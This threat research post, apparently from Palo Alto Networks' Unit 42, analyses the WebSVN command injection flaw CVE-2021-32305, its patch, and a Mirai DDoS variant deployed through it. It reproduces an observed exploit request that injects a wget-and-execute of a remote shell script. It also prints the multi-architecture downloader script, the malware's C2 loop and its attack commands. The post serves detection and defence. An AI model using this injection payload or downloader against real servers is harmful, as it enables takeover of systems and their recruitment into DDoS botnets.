New Mirai Variant Targets WebSVN Command Injection Vulnerability (CVE-2021-32305)

unit42.paloaltonetworks.com/cve-2021-32305-websvn/

Brock Mammen, Haozhe Zhang August 30, 2021

By Brock Mammen and Haozhe Zhang

August 30, 2021 at 6:00 AM

Category: Unit 42

Tags: botnet, CVE-2021-32305, DDoS, vulnerabilities, WebSVN

This post is also available in: 日本語 (Japanese)

Executive Summary

We have observed exploits in the wild for a recently disclosed command injection vulnerability affecting WebSVN, an open-source web application for browsing source code. The critical command injection vulnerability was discovered and patched in May 2021. A proof of concept was released and within a week, on June 26, 2021, attackers exploited the vulnerability to deploy variants of the Mirai DDoS malware. We strongly recommend that WebSVN users upgrade to the latest software version.

Palo Alto Networks Next-Generation Firewalls protect customers from the exploitation of CVE-2021-32305, and Cortex XDR detects Mirai variants and prevents infection.

Root Cause and Patch Analysis of CVE-2021-32305

Like many source code browsing tools, WebSVN allows users to search through the revision history to find relevant code changes. These search requests are made by sending a query to the backend, which is written in PHP.

```
$listing = showSearchResults($svnrep, $path, $_GET["search"], $rev, $peg, array(),0,$config->treeView);
```

Figure 1. The user's input is read from the "search" parameter in search.php.

In versions of WebSVN prior to 2.6.1, the user's search query is not escaped when it is used in a shell command. Inside include/svnlook.php the function getListSearch is responsible for creating the shell command by concatenating the search query with command arguments.

```
$cmd = $this->svnCommandString('list -R --search '. '"'.$searchstring.'"'.' --xml', $path, $rev, $peg);
$this->_xmlParseCmdOutput($cmd, 'listStartElement', 'listEndElement', 'listCharacterData');
```

Figure 2. The SVN command is created by concatenating it with the search query.

A function called runCommand inside include/command.php finally executes the command by passing it to PHP's proc_open function. The documentation for this function contains the following warning regarding the command parameter:

Parameters

cmd

The commandline to execute as string. Special characters have to be properly escaped, and proper quoting has to be applied.

Figure 3. PHP documentation.

Without properly escaping the user's input, it is possible to achieve code execution by including special characters in the search query. To fix this vulnerability, the code was changed to sanitize the user input with escapeshellarg before concatenating it to the other command arguments.

```
-       $cmd = $this->svnCommandString('list -R --search '. '"'.$searchstring.'"'.' --xml', $path, $rev, $peg);
+       $searchstring = escapeshellarg($searchstring);
+       $cmd = 'list -R --search ' . $searchstring . ' --xml';
+       $cmd = $this->svnCommandString($cmd, $path, $rev, $peg);
```

Figure 4. Vulnerability patch.

Another possible solution is to allow proc_open to automatically escape and quote the command by passing an array of strings as the first argument. This approach might be considered more concise and easier to maintain. However, it would have required making bigger changes to the existing code, and it is not compatible with older versions of PHP, which is likely the reason this solution was not chosen.

```
proc_open(['svn', 'list', '-R', '--search', $searchstring, '--xml'], ...);
```

Figure 5. Hypothetical code for safely running the shell command.

Exploitation in the Wild

Shortly after CVE-2021-32305 was made public, Unit 42 researchers observed attackers exploiting it in the wild. One example of an attack is shown here:

```
GET /search.php?search=";/bin/bash+wget+http://
75.119.143.229/Gaybotbins.sh;+chmod+777+*;+sh+Gaybotbins.sh;
+rm+-rf+*;" HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

Figure 6. HTTP request.

The attacker uses command injection to download a shell script that will infect the system with malware. When abusing these types of web vulnerabilities, some important details about the target environment may be unknown to the attacker. These details include the operating system and processor architecture that the web server is running. The shell script used in the next step of the attack shows how the attacker can overcome this issue:

```
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/4wa3.MIPS; chmod +x *MIPS*; ./4wa3.MIPS; rm -rf *MIPS*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/gw4e.MIPSEL; chmod +x *MIPSEL*; ./gw4e.MIPSEL; rm -rf *MIPSEL*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/SH4; chmod +x SH4; ./SH4; rm -rf SH4*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/erga.X86_64; chmod +x *X86_64*; ./erga.X86_64; rm -rf *X86_64*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/e5ujh.ARMV6L; chmod +x *ARMV6L*; ./e5ujh.ARMV6L; rm -rf *ARMV6L*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/I686; chmod +x I686; ./I686; rm -rf I686*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/POWERPC; chmod +x POWERPC; ./POWERPC; rm -rf POWERPC*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/I586; chmod +x I586; ./I586; rm -rf I586*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/M68K; chmod +x M68K; ./M68K; rm -rf M68K*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/SPARC; chmod +x SPARC; ./SPARC; rm -rf SPARC*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/w4gd.ARMV4L; chmod +x *ARMV4L*; ./w4gd.ARMV4L; rm -rf *ARMV4L*
cd /tmp || cd /var/run || cd /mnt || cd /; wget http://[redacted]/eyeg.ARMV5L; chmod +x *ARMV5L; ./eyeg.ARMV5L; rm -rf *ARMV5L*
```

Figure 7. Shell script

Malicious Linux binaries are provided for 12 different architectures. Instead of detecting which one is correct for the target environment, a brute force approach is taken. The script simply downloads and attempts to execute the binaries for every one of the possible architectures, disregarding any incompatibility errors. Although WebSVN is a cross-platform PHP application capable of running on many operating systems, only Linux binaries are used in this attack.

Malware Analysis

Analysis of this malware reveals that it is used to perform distributed denial of service (DDoS) attacks and that it shares some of its code with the Mirai botnet family. To reduce the size of the executable files, each one is compressed with a modified version of the popular open-source packer, UPX. Because the packer is modified, it is less likely for reverse engineering tools to succeed in automatically unpacking the executable files, requiring more manual effort for analysis. Additionally, the malware achieves portability by statically linking all of its dependencies and making system calls directly inside the code.

After the malware is executed, it continuously tries to connect to its command and control (C2) server on port 666. Once it establishes a connection, it communicates using a custom text-based TCP protocol. It begins by informing the C2 of its architecture, and then it awaits commands from the operator.

```
do {
  while (c2_connect() != 0) {
    sleep(5);
  }
  send(socket_fd, "arch %s", "x86");
  while (p = c2_read_command(socket_fd, buf + 1, 0x1000), p != -1) {
    ...
```

Figure 8. Main loop for processing C2 commands.

The main purpose of this malware family is to perform DDoS attacks, and the effectiveness of an attack depends on the network protocols and techniques that are used. In the analyzed sample, there are eight types of attacks, each designed to be effective against a different type of target. The following table shows the commands the malware operator can send to initiate each one.

Command	Protocol	Description
OVHHEX	UDP	Targets servers hosted by OVH, a French cloud computing company.
UDPBYPASS	UDP	Attempts to bypass network mitigations by sending crafted packets at calculated time intervals.
NFOHEX	UDP	Floods the target with randomly generated hex-encoded data.
STD	UDP	Randomly sends packets from a list of three predefined payloads.
VSE	UDP	Targets game servers built with Valve Source Engine.
TCP	TCP	General attack for TCP-based protocols.
SYN	TCP	Sends SYN packets to imitate a TCP connection request.
ACK	TCP	Sends ACK packets to imitate acknowledgement messages.

Table 1. DDoS methods.

Conclusion

We observed exploits in the wild for a recently disclosed command injection vulnerability affecting WebSVN. In one particular attack, the vulnerability is used to deploy DDoS malware. Attackers will continue to exploit the latest vulnerabilities to expand their army of

infected devices and increase the strength of their DDoS attacks. Customers are strongly advised to upgrade to the latest software version.

Palo Alto Networks Next-Generation Firewall customers are protected by the subscriptions:

- Threat Prevention can block the attack with best practices via Threat Prevention Signature 91280.
- WildFire accurately detects and blocks these attacks.
- Advanced URL Filtering blocks malicious malware domains.

Cortex XDR detects Mirai variants and prevents infection.

Indicators of Compromise

75.119.143[.]229
e6f20e73af6cc393dd139b32117a8681e15edfe61c157f3509d1e740184b3d5c
c782f9cdec637503472bc62d25348cefccc3de58244441547f3e2ed9b22c6c93
63c2cae1f3d04d81a4a1dcd773c62d7e9a71cf7e3ae0c5a9f931353e86f11651
3cc3d7d32e8c85e0c594ca5cb2ecfbfba66ebbc1853bcb02c2a39fce9f238dbc
dc7cf2212f09482ac034eb7e9f89ef0cec8bc9532d4fe2db8a880c2e1e4ee8a2
8cc43db17480170fac3213518fe18d52a5648ce04060561d6359d6c589a4321c
b09c85e75f65a9acc4693957caf4b4c56dd808c7d0d657c1bc9f74a1bd772abe
a55a2318e95dcfbe2d2082ee569642034ab05168fa0142ff1009798131b61f52
b43fd19dfeeb89507f9de162e7a727fa6024ca4b1d19cb5c44e53755200f2b66
7dc972346b9f82709bbcaabc30f126984468e60f2b085091471a9796ac4539b9
f4d851908e900d9201597f898cbb4420772a935901f25a77b31fc80e7cbc88b3
889cc2a3e06c5770ff23017aa067cd8a01b8b410e143e9da63542ead7ce484da

Additional Resources

Unit 42 research on Mirai

**Get updates from
Palo Alto
Networks!**

Sign up to receive the latest news, cyber threat intelligence and research from us

By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.